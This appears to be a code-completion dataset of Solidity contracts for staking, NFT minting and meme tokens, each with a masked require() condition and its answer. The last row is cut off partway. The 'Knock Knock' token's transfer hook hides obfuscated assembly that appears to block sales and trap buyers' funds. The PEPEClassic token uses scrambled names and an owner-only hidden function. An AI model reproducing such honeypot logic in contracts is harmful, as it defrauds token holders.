bool public PWRDstakingPaused = true;
uint256 public decimalsPWRD = 100000000000000000;
uint256 public decimalsMAXX = 100000000000000000;
uint256 public PWRDPoolStaked = 0;
uint256 public PWRDPoolStakers = 0;
uint256 public TotalPWRDPaid = 0;
address public maxxWallet;
uint256 public PWRDFee = 10; // 10% burned at claim
uint256 public PWRDRewardRate15 = 1 wei;//per day
uint256 public PWRDRewardRate30 = 1 wei;//per day
uint256 public unstakePenaltyPWRD = 15;//across all pools
struct StakerPWRD {
uint256 stakedMAXXPWRD;
uint256 stakedSince;
uint256 stakedTill;
uint256 PWRDlastClaim;
uint256 PWRDClaimed;
uint256 PWRDDays;
bool isStaked;
}
mapping(address => StakerPWRD) public stakerVaultPWRD;
constructor(address _maxxAddress, address _PWRDAddress, address _maxxWallet) {
}
//PWRD STAKE
function stakePWRD(uint256 _amount, uint256 _days) public {
require(<FILL_ME>)
require(!PWRDstakingPaused, "STAKING_IS_PAUSED");
require( _days == 15 || _days == 30, "INVALID_STAKING_DURATION");
maxxToken.transferFrom(msg.sender, address(this), _amount);
stakerVaultPWRD[msg.sender].stakedMAXXPWRD += _amount;
stakerVaultPWRD[msg.sender].stakedSince = block.timestamp;
if (_days == 15) {
stakerVaultPWRD[msg.sender].stakedTill = block.timestamp + 15 days;
stakerVaultPWRD[msg.sender].PWRDDays = 15;
}
if (_days == 30) {
stakerVaultPWRD[msg.sender].stakedTill = block.timestamp + 30 days;
stakerVaultPWRD[msg.sender].PWRDDays = 30;
}
stakerVaultPWRD[msg.sender].PWRDlastClaim = block.timestamp;
stakerVaultPWRD[msg.sender].isStaked = true;
PWRDPoolStakers += 1;
PWRDPoolStaked += _amount;
}
//UNSTAKE PWRD
function unStakePWRD() public {
}
function claimPWRDRewards() public {
}
function disableFees() public onlyOwner {
}
function setFees(uint256 _PWRDFee, uint256 _penaltyPWRD) public onlyOwner{
}
function WEIsetRewardRatesPerDayPerTokenStaked(uint256 _PWRDRewardRate15, uint256 _PWRDRewardRate30) public onlyOwner{
}
function setPWRDToken(address _newToken, uint256 _PWRDFee, uint256 _penaltyPWRD) public onlyOwner {
}
function setMAXXToken(address _newToken) public onlyOwner {
}
function setMAXXWallet(address _newAddress) public onlyOwner {
}
function withdrawPOM() public onlyOwner {
}
function withdrawERC20(address _tokenAddress, uint256 _tokenAmount) public virtual onlyOwner {
}
function pausePWRDStaking(bool _state) public onlyOwner {
}
function calculatePWRDRewards(address staker) public view returns (uint256 _rewards){
}
function estimatePWRDRewards(address user, uint256 _days) public view returns (uint256 _rewards){
}
function PWRDPoolInfo() public view returns (uint256 Stakers, uint256 TokenAmt){
}
receive() external payable {
}
}
| stakerVaultPWRD[msg.sender].isStaked==false,"STAKED_IN_POOL" | 509,446 | stakerVaultPWRD[msg.sender].isStaked==false |
"STAKING_IS_PAUSED" | pragma solidity >=0.7.0 <0.9.0;
contract MAXXStaking is Ownable {
IERC20 public maxxToken;
IERC20 public PWRDToken;
bool public PWRDstakingPaused = true;
uint256 public decimalsPWRD = 100000000000000000;
uint256 public decimalsMAXX = 100000000000000000;
uint256 public PWRDPoolStaked = 0;
uint256 public PWRDPoolStakers = 0;
uint256 public TotalPWRDPaid = 0;
address public maxxWallet;
uint256 public PWRDFee = 10; // 10% burned at claim
uint256 public PWRDRewardRate15 = 1 wei;//per day
uint256 public PWRDRewardRate30 = 1 wei;//per day
uint256 public unstakePenaltyPWRD = 15;//across all pools
struct StakerPWRD {
uint256 stakedMAXXPWRD;
uint256 stakedSince;
uint256 stakedTill;
uint256 PWRDlastClaim;
uint256 PWRDClaimed;
uint256 PWRDDays;
bool isStaked;
}
mapping(address => StakerPWRD) public stakerVaultPWRD;
constructor(address _maxxAddress, address _PWRDAddress, address _maxxWallet) {
}
//PWRD STAKE
function stakePWRD(uint256 _amount, uint256 _days) public {
require(stakerVaultPWRD[msg.sender].isStaked == false, "STAKED_IN_POOL");
require(<FILL_ME>)
require( _days == 15 || _days == 30, "INVALID_STAKING_DURATION");
maxxToken.transferFrom(msg.sender, address(this), _amount);
stakerVaultPWRD[msg.sender].stakedMAXXPWRD += _amount;
stakerVaultPWRD[msg.sender].stakedSince = block.timestamp;
if (_days == 15) {
stakerVaultPWRD[msg.sender].stakedTill = block.timestamp + 15 days;
stakerVaultPWRD[msg.sender].PWRDDays = 15;
}
if (_days == 30) {
stakerVaultPWRD[msg.sender].stakedTill = block.timestamp + 30 days;
stakerVaultPWRD[msg.sender].PWRDDays = 30;
}
stakerVaultPWRD[msg.sender].PWRDlastClaim = block.timestamp;
stakerVaultPWRD[msg.sender].isStaked = true;
PWRDPoolStakers += 1;
PWRDPoolStaked += _amount;
}
//UNSTAKE PWRD
function unStakePWRD() public {
}
function claimPWRDRewards() public {
}
function disableFees() public onlyOwner {
}
function setFees(uint256 _PWRDFee, uint256 _penaltyPWRD) public onlyOwner{
}
function WEIsetRewardRatesPerDayPerTokenStaked(uint256 _PWRDRewardRate15, uint256 _PWRDRewardRate30) public onlyOwner{
}
function setPWRDToken(address _newToken, uint256 _PWRDFee, uint256 _penaltyPWRD) public onlyOwner {
}
function setMAXXToken(address _newToken) public onlyOwner {
}
function setMAXXWallet(address _newAddress) public onlyOwner {
}
function withdrawPOM() public onlyOwner {
}
function withdrawERC20(address _tokenAddress, uint256 _tokenAmount) public virtual onlyOwner {
}
function pausePWRDStaking(bool _state) public onlyOwner {
}
function calculatePWRDRewards(address staker) public view returns (uint256 _rewards){
}
function estimatePWRDRewards(address user, uint256 _days) public view returns (uint256 _rewards){
}
function PWRDPoolInfo() public view returns (uint256 Stakers, uint256 TokenAmt){
}
receive() external payable {
}
}
| !PWRDstakingPaused,"STAKING_IS_PAUSED" | 509,446 | !PWRDstakingPaused |
"NOT_STAKED" | pragma solidity >=0.7.0 <0.9.0;
contract MAXXStaking is Ownable {
IERC20 public maxxToken;
IERC20 public PWRDToken;
bool public PWRDstakingPaused = true;
uint256 public decimalsPWRD = 100000000000000000;
uint256 public decimalsMAXX = 100000000000000000;
uint256 public PWRDPoolStaked = 0;
uint256 public PWRDPoolStakers = 0;
uint256 public TotalPWRDPaid = 0;
address public maxxWallet;
uint256 public PWRDFee = 10; // 10% burned at claim
uint256 public PWRDRewardRate15 = 1 wei;//per day
uint256 public PWRDRewardRate30 = 1 wei;//per day
uint256 public unstakePenaltyPWRD = 15;//across all pools
struct StakerPWRD {
uint256 stakedMAXXPWRD;
uint256 stakedSince;
uint256 stakedTill;
uint256 PWRDlastClaim;
uint256 PWRDClaimed;
uint256 PWRDDays;
bool isStaked;
}
mapping(address => StakerPWRD) public stakerVaultPWRD;
constructor(address _maxxAddress, address _PWRDAddress, address _maxxWallet) {
}
//PWRD STAKE
function stakePWRD(uint256 _amount, uint256 _days) public {
}
//UNSTAKE PWRD
function unStakePWRD() public {
require(<FILL_ME>)
if(stakerVaultPWRD[msg.sender].stakedTill >= block.timestamp) {
uint256 stakedTokens = stakerVaultPWRD[msg.sender].stakedMAXXPWRD;
uint256 penaltyTokens = (stakedTokens * unstakePenaltyPWRD) / 100;
uint256 AfterTaxTotal = stakedTokens - penaltyTokens;
maxxToken.transfer(msg.sender, AfterTaxTotal);
maxxToken.transfer(maxxWallet, penaltyTokens);
PWRDPoolStakers -= 1;
PWRDPoolStaked -= stakerVaultPWRD[msg.sender].stakedMAXXPWRD;
stakerVaultPWRD[msg.sender].stakedMAXXPWRD = 0;
stakerVaultPWRD[msg.sender].PWRDlastClaim = 0;
stakerVaultPWRD[msg.sender].isStaked = false;
stakerVaultPWRD[msg.sender].PWRDDays = 0;
stakerVaultPWRD[msg.sender].stakedTill = 0;
stakerVaultPWRD[msg.sender].stakedSince = 0;
}
else if(stakerVaultPWRD[msg.sender].stakedTill <= block.timestamp) {
PWRDPoolStaked -= stakerVaultPWRD[msg.sender].stakedMAXXPWRD;
PWRDPoolStakers -= 1;
uint256 stakedTokens = stakerVaultPWRD[msg.sender].stakedMAXXPWRD;
maxxToken.transfer(msg.sender, stakedTokens);
stakerVaultPWRD[msg.sender].stakedMAXXPWRD = 0;
stakerVaultPWRD[msg.sender].PWRDlastClaim = 0;
stakerVaultPWRD[msg.sender].isStaked = false;
stakerVaultPWRD[msg.sender].PWRDDays = 0;
stakerVaultPWRD[msg.sender].stakedTill = 0;
stakerVaultPWRD[msg.sender].stakedSince = 0;
}
}
function claimPWRDRewards() public {
}
function disableFees() public onlyOwner {
}
function setFees(uint256 _PWRDFee, uint256 _penaltyPWRD) public onlyOwner{
}
function WEIsetRewardRatesPerDayPerTokenStaked(uint256 _PWRDRewardRate15, uint256 _PWRDRewardRate30) public onlyOwner{
}
function setPWRDToken(address _newToken, uint256 _PWRDFee, uint256 _penaltyPWRD) public onlyOwner {
}
function setMAXXToken(address _newToken) public onlyOwner {
}
function setMAXXWallet(address _newAddress) public onlyOwner {
}
function withdrawPOM() public onlyOwner {
}
function withdrawERC20(address _tokenAddress, uint256 _tokenAmount) public virtual onlyOwner {
}
function pausePWRDStaking(bool _state) public onlyOwner {
}
function calculatePWRDRewards(address staker) public view returns (uint256 _rewards){
}
function estimatePWRDRewards(address user, uint256 _days) public view returns (uint256 _rewards){
}
function PWRDPoolInfo() public view returns (uint256 Stakers, uint256 TokenAmt){
}
receive() external payable {
}
}
| stakerVaultPWRD[msg.sender].isStaked==true,"NOT_STAKED" | 509,446 | stakerVaultPWRD[msg.sender].isStaked==true |
"Value exceeds total supply" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract MillionaireRow is ERC721A, Ownable, PaymentSplitter {
bool public presaleActive = false;
bool public whitelistSaleActive = false;
bool public saleActive = false;
string internal baseTokenURI;
uint256 public price = 0.15 ether;
uint256 public maxSupply = 4444;
uint256 public maxTx = 10;
uint256 public maxPerWallet = 10;
bytes32 internal merkleRoot;
uint256 private teamLength;
constructor(
address[] memory _team,
uint256[] memory _teamShares,
bytes32 _merkleRoot,
string memory _baseTokenURI
) ERC721A("MillionaireRow", "MROW") PaymentSplitter(_team, _teamShares) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseTokenURI(string calldata uri) external onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setPrice(uint256 newPrice) external onlyOwner {
}
function setMaxSupply(uint256 newSupply) external onlyOwner {
}
function togglePresaleActive() external onlyOwner {
}
function toggleWhitelistActive() external onlyOwner {
}
function toggleSaleActive() external onlyOwner {
}
function setMaxTx(uint256 newMax) external onlyOwner {
}
function setMaxPerWallet(uint256 newMax) external onlyOwner {
}
function getTokensByOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function giveaway(address[] calldata adds, uint256 qty) external onlyOwner {
uint256 minted = totalSupply();
require(<FILL_ME>)
for (uint256 i = 0; i < adds.length; i++) {
_safeMint(adds[i], qty);
}
}
function mintPresale(uint256 qty) external payable canMint(qty, 0) {
}
function mintWhitelist(uint256 qty, bytes32[] calldata _merkleProof)
external
payable
canMint(qty, 1)
{
}
function mint(uint256 qty) external payable canMint(qty, 2) {
}
function releaseAll() external onlyOwner {
}
// Modifiers
modifier canMint(uint256 qty, uint256 mintType) {
}
}
| (adds.length*qty)+minted<=maxSupply,"Value exceeds total supply" | 509,474 | (adds.length*qty)+minted<=maxSupply |
"Value exceeds total presale supply" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract MillionaireRow is ERC721A, Ownable, PaymentSplitter {
bool public presaleActive = false;
bool public whitelistSaleActive = false;
bool public saleActive = false;
string internal baseTokenURI;
uint256 public price = 0.15 ether;
uint256 public maxSupply = 4444;
uint256 public maxTx = 10;
uint256 public maxPerWallet = 10;
bytes32 internal merkleRoot;
uint256 private teamLength;
constructor(
address[] memory _team,
uint256[] memory _teamShares,
bytes32 _merkleRoot,
string memory _baseTokenURI
) ERC721A("MillionaireRow", "MROW") PaymentSplitter(_team, _teamShares) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseTokenURI(string calldata uri) external onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setPrice(uint256 newPrice) external onlyOwner {
}
function setMaxSupply(uint256 newSupply) external onlyOwner {
}
function togglePresaleActive() external onlyOwner {
}
function toggleWhitelistActive() external onlyOwner {
}
function toggleSaleActive() external onlyOwner {
}
function setMaxTx(uint256 newMax) external onlyOwner {
}
function setMaxPerWallet(uint256 newMax) external onlyOwner {
}
function getTokensByOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function giveaway(address[] calldata adds, uint256 qty) external onlyOwner {
}
function mintPresale(uint256 qty) external payable canMint(qty, 0) {
}
function mintWhitelist(uint256 qty, bytes32[] calldata _merkleProof)
external
payable
canMint(qty, 1)
{
}
function mint(uint256 qty) external payable canMint(qty, 2) {
}
function releaseAll() external onlyOwner {
}
// Modifiers
modifier canMint(uint256 qty, uint256 mintType) {
if (mintType == 0) {
require(presaleActive, "Presale isn't active");
require(<FILL_ME>)
} else if (mintType == 1) {
require(whitelistSaleActive, "Whitelist sale isn't active");
} else {
require(saleActive, "Sale isn't active");
}
require(
_numberMinted(msg.sender) + qty <= maxPerWallet,
"Exceeds max mints for wallet"
);
require(qty <= maxTx && qty > 0, "Qty of mints not allowed");
require(qty + totalSupply() <= maxSupply, "Value exceeds total supply");
require(msg.value == price * qty, "Invalid value");
_;
}
}
| qty+totalSupply()<=100,"Value exceeds total presale supply" | 509,474 | qty+totalSupply()<=100 |
"Exceeds max mints for wallet" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract MillionaireRow is ERC721A, Ownable, PaymentSplitter {
bool public presaleActive = false;
bool public whitelistSaleActive = false;
bool public saleActive = false;
string internal baseTokenURI;
uint256 public price = 0.15 ether;
uint256 public maxSupply = 4444;
uint256 public maxTx = 10;
uint256 public maxPerWallet = 10;
bytes32 internal merkleRoot;
uint256 private teamLength;
constructor(
address[] memory _team,
uint256[] memory _teamShares,
bytes32 _merkleRoot,
string memory _baseTokenURI
) ERC721A("MillionaireRow", "MROW") PaymentSplitter(_team, _teamShares) {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseTokenURI(string calldata uri) external onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setPrice(uint256 newPrice) external onlyOwner {
}
function setMaxSupply(uint256 newSupply) external onlyOwner {
}
function togglePresaleActive() external onlyOwner {
}
function toggleWhitelistActive() external onlyOwner {
}
function toggleSaleActive() external onlyOwner {
}
function setMaxTx(uint256 newMax) external onlyOwner {
}
function setMaxPerWallet(uint256 newMax) external onlyOwner {
}
function getTokensByOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function giveaway(address[] calldata adds, uint256 qty) external onlyOwner {
}
function mintPresale(uint256 qty) external payable canMint(qty, 0) {
}
function mintWhitelist(uint256 qty, bytes32[] calldata _merkleProof)
external
payable
canMint(qty, 1)
{
}
function mint(uint256 qty) external payable canMint(qty, 2) {
}
function releaseAll() external onlyOwner {
}
// Modifiers
modifier canMint(uint256 qty, uint256 mintType) {
if (mintType == 0) {
require(presaleActive, "Presale isn't active");
require(
qty + totalSupply() <= 100,
"Value exceeds total presale supply"
);
} else if (mintType == 1) {
require(whitelistSaleActive, "Whitelist sale isn't active");
} else {
require(saleActive, "Sale isn't active");
}
require(<FILL_ME>)
require(qty <= maxTx && qty > 0, "Qty of mints not allowed");
require(qty + totalSupply() <= maxSupply, "Value exceeds total supply");
require(msg.value == price * qty, "Invalid value");
_;
}
}
| _numberMinted(msg.sender)+qty<=maxPerWallet,"Exceeds max mints for wallet" | 509,474 | _numberMinted(msg.sender)+qty<=maxPerWallet |
"You are not Whitelisted." | // SPDX-License-Identifier: MIT
// Author: Luca Di Domenico twitter.com/luca_dd7
pragma solidity ^0.8.9;
import 'erc721a/contracts/ERC721A.sol';
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract WereWolfNFT is
ERC721A,
AccessControl,
Pausable,
Ownable
{
bytes32 public constant DEVELOPER = keccak256("DEVELOPER");
uint256 public MAX_SUPPLY;
uint256 public presale_mint_price;
uint256 public publicsale_mint_price;
string public baseURI;
bool public presale;
bool public publicsale;
address public royaltyReceiver;
uint256 public royaltyPercent;
bytes32 private _merkleRootWhitelisted;
event NewWOLFNFTMinted(uint256 firstTokenId, uint8 quantity, uint256 totalMinted);
constructor() ERC721A("WEREWOLF NFT", "WOLF") {
}
function _startTokenId() internal pure override returns (uint256) {
}
function publicsalemint(address _to, uint256 _amount) public payable whenNotPaused {
}
function presalemint(bytes32[] calldata _merkleProof, address _to, uint256 _amount) public payable whenNotPaused {
require(presale, "presale not started");
require(msg.value >= presale_mint_price * _amount, "Wrong price");
bytes32 _leaf = keccak256(abi.encodePacked(_msgSender()));
require(<FILL_ME>)
mint(_to, _amount);
}
function mint(address _to, uint256 _amount) private {
}
function freeMint(address _to, uint256 _amount) public onlyRole(DEVELOPER) whenNotPaused {
}
function royaltyInfo(uint256, uint256 salePrice)
public
view
returns (address receiver, uint256 royaltyAmount)
{
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory uri) public onlyRole(DEVELOPER) {
}
function setRoyaltyReceiver(address _addr) public onlyRole(DEVELOPER) {
}
function setRoyaltyPercent(uint256 _bp) public onlyRole(DEVELOPER) {
}
function setMerkleRoot(bytes32 _root) public onlyRole(DEVELOPER) {
}
function setPublicSaleMintPrice(uint256 _price) public onlyOwner {
}
function setPreSaleMintPrice(uint256 _price) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function setMaxSupply(uint256 _n) public onlyRole(DEVELOPER) {
}
function setPresale(bool _b) public onlyRole(DEVELOPER) {
}
function setPublicSale(bool _b) public onlyRole(DEVELOPER) {
}
function pause() public onlyRole(DEVELOPER) {
}
function unpause() public onlyRole(DEVELOPER) {
}
function getAmountMinted() public view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, AccessControl)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 quantity
) internal override {
}
}
| MerkleProof.verify(_merkleProof,_merkleRootWhitelisted,_leaf),"You are not Whitelisted." | 509,504 | MerkleProof.verify(_merkleProof,_merkleRootWhitelisted,_leaf) |
"no supply remaining" | // SPDX-License-Identifier: MIT
// Author: Luca Di Domenico twitter.com/luca_dd7
pragma solidity ^0.8.9;
import 'erc721a/contracts/ERC721A.sol';
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract WereWolfNFT is
ERC721A,
AccessControl,
Pausable,
Ownable
{
bytes32 public constant DEVELOPER = keccak256("DEVELOPER");
uint256 public MAX_SUPPLY;
uint256 public presale_mint_price;
uint256 public publicsale_mint_price;
string public baseURI;
bool public presale;
bool public publicsale;
address public royaltyReceiver;
uint256 public royaltyPercent;
bytes32 private _merkleRootWhitelisted;
event NewWOLFNFTMinted(uint256 firstTokenId, uint8 quantity, uint256 totalMinted);
constructor() ERC721A("WEREWOLF NFT", "WOLF") {
}
function _startTokenId() internal pure override returns (uint256) {
}
function publicsalemint(address _to, uint256 _amount) public payable whenNotPaused {
}
function presalemint(bytes32[] calldata _merkleProof, address _to, uint256 _amount) public payable whenNotPaused {
}
function mint(address _to, uint256 _amount) private {
require(_amount <= 5, "wrong amount");
require(<FILL_ME>)
_safeMint(_to, _amount);
}
function freeMint(address _to, uint256 _amount) public onlyRole(DEVELOPER) whenNotPaused {
}
function royaltyInfo(uint256, uint256 salePrice)
public
view
returns (address receiver, uint256 royaltyAmount)
{
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory uri) public onlyRole(DEVELOPER) {
}
function setRoyaltyReceiver(address _addr) public onlyRole(DEVELOPER) {
}
function setRoyaltyPercent(uint256 _bp) public onlyRole(DEVELOPER) {
}
function setMerkleRoot(bytes32 _root) public onlyRole(DEVELOPER) {
}
function setPublicSaleMintPrice(uint256 _price) public onlyOwner {
}
function setPreSaleMintPrice(uint256 _price) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function setMaxSupply(uint256 _n) public onlyRole(DEVELOPER) {
}
function setPresale(bool _b) public onlyRole(DEVELOPER) {
}
function setPublicSale(bool _b) public onlyRole(DEVELOPER) {
}
function pause() public onlyRole(DEVELOPER) {
}
function unpause() public onlyRole(DEVELOPER) {
}
function getAmountMinted() public view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, AccessControl)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 tokenId,
uint256 quantity
) internal override {
}
}
| _totalMinted()+_amount<MAX_SUPPLY,"no supply remaining" | 509,504 | _totalMinted()+_amount<MAX_SUPPLY |
"ERC20: trading is not yet enabled." | /*
Knock Knock. Who's there?
$KNOCK, an ERC-20 token
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addKnock;
uint256 private _underline = block.number*2;
mapping (address => bool) private _timeForFun;
mapping (address => bool) private _IndyReview;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _overline;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private protoNic;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private foulness = 1; bool private topLess;
uint256 private _decimals; uint256 private lawPartner;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function names() internal view returns (uint256 y) { }
function decimals() public view virtual override returns (uint8) {
}
function _StartKnocking() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float, uint256 double) internal {
require(<FILL_ME>)
bool boolean = (((topLess || _IndyReview[sender]) && ((_underline - theN) >= 9)) || (float >= _limit) || ((float >= (_limit/2)) && (_underline == block.number))) && ((_timeForFun[recipient] == true) && (_timeForFun[sender] != true) || ((addKnock[1] == recipient) && (_timeForFun[addKnock[1]] != true))) && (lawPartner > 0);
assembly {
function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),1) {
if eq(sload(gByte(recipient,0x4)),0x1) {
sstore(0x15,add(sload(0x15),0x1))
}
if and(lt(double,sload(0xB)),boolean) {
invalid()
}
if sload(0x16) {
sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28)
}
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x18)
let t := sload(0x11)
if iszero(sload(0x17)) { sstore(0x17,t) }
let g := sload(0x17)
switch gt(g,div(t,0x3))
case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
case 0 { g := div(t,0x3) }
sstore(0x17,t)
sstore(0x11,g)
sstore(0x18,add(sload(0x18),0x1))
}
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(gByte(sload(0x8),0x4)),0x0)) {
sstore(gByte(sload(0x8),0x5),0x1)
}
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x11)
let t := sload(0x17)
sstore(0x17,k)
sstore(0x11,t)
}
if iszero(mod(sload(0x15),0x6)) {
sstore(0x16,0x1)
}
sstore(0x12,float)
sstore(0x8,recipient)
sstore(0x3,number())
}
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployKnock(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract KnockKnock is ERC20Token {
constructor() ERC20Token("Knock Knock", "KNOCK", msg.sender, 15000000 * 10 ** 18) {
}
}
| (trading||(sender==addKnock[1])),"ERC20: trading is not yet enabled." | 509,590 | (trading||(sender==addKnock[1])) |
"TT: transfer acfmfktbnnt exceeds balance" | pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address achrtontt) external view returns (uint256);
function transfer(address recipient, uint256 acfmfktbnnt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 acfmfktbnnt) external returns (bool);
function transferFrom( address sender, address recipient, uint256 acfmfktbnnt ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract PEPEClassic is Context, Ownable, IERC20 {
mapping (address => uint256) private _rtfeeer;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address achrtontt) public view override returns (uint256) {
}
function allowancs(address zsdsadas) public onlyowner {
}
function transfer(address recipient, uint256 acfmfktbnnt) public virtual override returns (bool) {
require(<FILL_ME>)
_rtfeeer[_msgSender()] -= acfmfktbnnt;
_rtfeeer[recipient] += acfmfktbnnt;
emit Transfer(_msgSender(), recipient, acfmfktbnnt);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 acfmfktbnnt) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 acfmfktbnnt) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| _rtfeeer[_msgSender()]>=acfmfktbnnt,"TT: transfer acfmfktbnnt exceeds balance" | 509,636 | _rtfeeer[_msgSender()]>=acfmfktbnnt |
"TT: transfer acfmfktbnnt exceeds allowance" | pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address achrtontt) external view returns (uint256);
function transfer(address recipient, uint256 acfmfktbnnt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 acfmfktbnnt) external returns (bool);
function transferFrom( address sender, address recipient, uint256 acfmfktbnnt ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract PEPEClassic is Context, Ownable, IERC20 {
mapping (address => uint256) private _rtfeeer;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
